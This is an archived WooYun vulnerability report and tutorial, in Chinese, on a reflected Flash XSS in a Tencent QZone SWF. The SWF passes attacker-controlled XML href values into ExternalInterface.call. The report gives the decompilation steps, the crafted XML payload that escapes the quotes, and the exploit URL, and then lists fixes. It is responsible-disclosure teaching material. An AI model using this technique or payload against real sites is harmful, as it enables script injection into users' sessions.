漏洞概要 关注数(44) 关注此漏洞

缺陷编号: WooYun-2012-16598

漏洞标题: [腾讯实例教程] 那些年我们一起学XSS - 16. Flash Xss进阶 [ExternalInterface.call第二个参数]

相关厂商: 腾讯

漏洞作者: 心伤的瘦子

提交时间: 2012-12-27 17:33

公开时间: 2013-02-10 17:34

漏洞类型: xss跨站脚本攻击

危害等级: 低

自评Rank: 1

漏洞状态: 厂商已经确认

Tags标签: 反射型xss xss技巧 flash应用安全

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-12-27: 细节已通知厂商并且等待厂商处理中
2012-12-28: 厂商已经确认,细节仅向厂商公开
2013-01-07: 细节向核心白帽子及相关领域专家公开
2013-01-17: 细节向普通白帽子公开
2013-01-27: 细节向实习白帽子公开
2013-02-10: 细节向公众公开

简要描述:

讲完ExternalInterface.call的第一个参数,我们接着来讲第“2”个参数,之所以2打上引号,因为 call 函数的原型是:call(functionName:String, ... arguments):*, 即后面可以有很多很多个参数,我们统称为第2个参数。有时候我们会遇到ExternalInterface.call("xxxxx","可控内容");的情况,那么这种情况下,如何构造XSS呢?

详细说明:

1. 有了上一节教程的基础,这次我们直接见实例。



通过GOOGLE搜索,site:qq.com filetype:swf inurl:xml



我们可以找到以下FLASH。



http://imgcache.qq.com/qzone_v4/2/default_menu_horizontal.swf?xml_path=http://imgcache.qq.com/qzone/client/custom_menu/custom_menu.xml



2. 借鉴上上节教程的思路,我们可以看看http://imgcache.qq.com/qzone/client/custom_menu/custom_menu.xml里是个什么内容。



picture\4_82.jpg





3. 好像看不出来是个啥用途,我们反编译FLASH文件。



picture\7_83.jpg





4. 接着我们先看看是否有getURL, ExternalInterface.call之类的。



picture\10_84.jpg





可以看到,我们搜索到的是下面这句:



flash.external.ExternalInterface.call("custom_menu_swf", menu_array[_local2].href);





那么call的第一个参数是被限定死了~,第2个参数为 menu_array[_local2].href,



如果你对AS有一点了解,不难看出menu_array是一个数组,那么_local2应该就是数组的下标,



而从单词含义“菜单数组”我们不难联想到上面xml文件里的数据。



picture\13_85.jpg





5. 换句话说,这里我们的可以控制call的第2个参数。同教程14中的方法,我们下载下来http://imgcache.qq.com/qzone/client/custom_menu/custom_menu.xml。 先做点修改,然后上传到自己网站上。



我们将代码里日志那一行的href改掉。



<menu name="日  志" href="\&quot;,alert(1)" />





上传修改后的文件,同时记得将crossdomain.xml上传至自己的网站根目录下哦~~(见教程14)



6. 接着我们载入我们自己指定的XML文件。



http://imgcache.qq.com/qzone_v4/2/default_menu_horizontal.swf?xml_path=http://itsokla.duapp.com/custom_menu.xml



7. 接着我们打开Firefox浏览器。 有人会问,你怎么突然要用Firefox啊!疯了么!! 同志们,我没疯,只是因为FF可以捕获到这里的错误,而chrome捕获不到!



我们打开Firefox后, 访问上面的地址,点击【日志】按钮!!



Ctrl+shift+J 打开错误控制台!可以看到以下报错!



picture\16_86.jpg





8. 记性好的朋友,会马上想起上一节里我们说到的。



ExternalInterface.call("函数名","参数1");



实际上执行的是以下内容,



try { __flash__toXML(函数名("参数1")) ; } catch (e) { "<undefined/>"; }





我们就是从FF这里捕获错误到这点的!(:) 当然也还会有其他方法)。



为什么会出错呢? 我们一起来看看。



9. 当我们点击 【日志】按钮时,会调用。



flash.external.ExternalInterface.call("custom_menu_swf", menu_array[_local2].href);



而menu_array[_local2].href 等于 \",alert(1), 进而,我们代入完整的代码,即如下:



try { __flash__toXML(custom_menu_swf("\\",alert(1)")) ; } catch (e) { "<undefined/>"; }





转换过程如下图:



picture\19_87.jpg





可以看到转换之后,JS代码有点乱,引号到处飞,括号无处寻,因而报错了!



10. 那么我们怎么构造正确的利用代码呢?其实有上一节的知识并不难!



try { __flash__toXML(custom_menu_swf("构造点构造点")) ; } catch (e) { "<undefined/>"; }





首先第一步,要注入自己代码,首先要闭合掉双引号!



try { __flash__toXML(custom_menu_swf("构造点"),alert("构造点")) ; } catch (e) { "<undefined/>"; }





但是从上面转换流程,我们可以看到, " 会变成 \", 即变成了下面的样子,还是突破不出去。



try { __flash__toXML(custom_menu_swf("构造点\"),alert(\"构造点")) ; } catch (e) { "<undefined/>"; }





picture\22_89.jpg





不过非常庆幸的事情是,这里没有对 \ 进行转义。 我们可以通过输入 \" 来构造。JS的字符串里,\ 用 \\ 表示。如下:



try { __flash__toXML(custom_menu_swf("构造点\\"))}catch(e){alert(1)}//构造点")) ; } catch (e) { "<undefined/>"; }





图片分析如下:



picture\25_88.jpg





11. 罗嗦了这么多,我们把构造点代码,拿出来,插入到XML文件里。注意以下几点:



11.1 最后构造的代码是\\", 实际我们的输入是\",然后由FLASH自己转变为\\"的,因而利用代码里只需要输入\"即可。



11.2 由于在XML的节点属性里,双引号写为 &quot;



<menu name="日 志" href="构造点\&quot;))}catch(e){alert(1)}//构造点" />



12. 再次上传文件。打开



http://imgcache.qq.com/qzone_v4/2/default_menu_horizontal.swf?xml_path=http://itsokla.duapp.com/custom_menu.xml





点击日志,看看效果。



picture\28_90.jpg

漏洞证明:

将详细说明

修复方案:

1. 传入call第2个参数前,对\进行转义。

2. 禁止调用第三方的外部XML文件。

版权声明:转载请注明来源 心伤的瘦子@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2012-12-28 15:32

厂商回复:

非常感谢您的报告。这个问题我们已经确认,正在与业务部门进行沟通制定解决方案。如有任何新的进展我们将会及时同步。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
100%
0%
0%
0%
0%

评论

  1. 2012-12-27 17:34 | xsser (核心白帽子 | Rank:249 漏洞数:17 | Live free or Die!)
    1

    收到电视剧提醒了

  2. 2012-12-27 17:37 | 心伤的瘦子 ( 普通白帽子 | Rank:147 漏洞数:21 | 嘿,我崇拜你们来了)
    0

    @xsser 看来功能完成得很好

  3. 2012-12-27 17:38 | gainover (核心白帽子 | Rank:1170 漏洞数:64 | PKAV技术宅社区! -- gainover| 工具猫网络-...)
    0

    @xsser 哎呀,我也收到了。 记得call的第2个参数,好像是以前看pz文章里讲的。

  4. 2012-12-27 17:38 | VIP ( 实习白帽子 | Rank:204 漏洞数:34 )
    0

    广告位招租

  5. 2012-12-27 17:38 | 疯子 ( 普通白帽子 | Rank:146 漏洞数:22 | 世人笑我太疯癫,我笑世人看不穿~)
    0

    @xsser 电视剧拍摄的差不多了,该给我们观众看了

  6. 2012-12-27 17:45 | 鬼魅羊羔 ( 普通白帽子 | Rank:164 漏洞数:25 | 不许动!我是警察!)
    0

    插播下广告吧亲们。。马上元旦了,,

  7. 2012-12-27 18:20 | only_guest (核心白帽子 | Rank:737 漏洞数:71 | PKAV技术宅社区-专心做技术.)
    0

    PKAV已经获得此系列漏洞独家转载权..其他人不许转!!!

  8. 2012-12-27 18:23 | xsser (核心白帽子 | Rank:249 漏洞数:17 | Live free or Die!)
    0

    @only_guest .......

  9. 2012-12-27 18:23 | xsser (核心白帽子 | Rank:249 漏洞数:17 | Live free or Die!)
    0

    @only_guest 等公开吧

  10. 2012-12-27 18:24 | only_guest (核心白帽子 | Rank:737 漏洞数:71 | PKAV技术宅社区-专心做技术.)
    0

    @xsser 你有意见么?那请你闭嘴吧.

  11. 2012-12-27 18:25 | only_guest (核心白帽子 | Rank:737 漏洞数:71 | PKAV技术宅社区-专心做技术.)
    0

    @xsser 嗯.公开之后整理.放心.

  12. 2012-12-27 19:16 | se55i0n ( 普通白帽子 | Rank:1156 漏洞数:129 | 我是一名白帽子,简称小白!)
    0

    哈哈~收到短信提醒咯~剑心不用裸奔了~

  13. 2012-12-27 19:31 | px1624 ( 普通白帽子 | Rank:438 漏洞数:57 | 电脑业余爱好者,菜鸟一个,是来交流学习的...)
    0

    我也关注了,怎么没有收到提示诶。。

  14. 2012-12-28 14:05 | iv4n ( 实习白帽子 | Rank:8 漏洞数:5 )
    0

    我勒个去,这哥们,爬虫真给力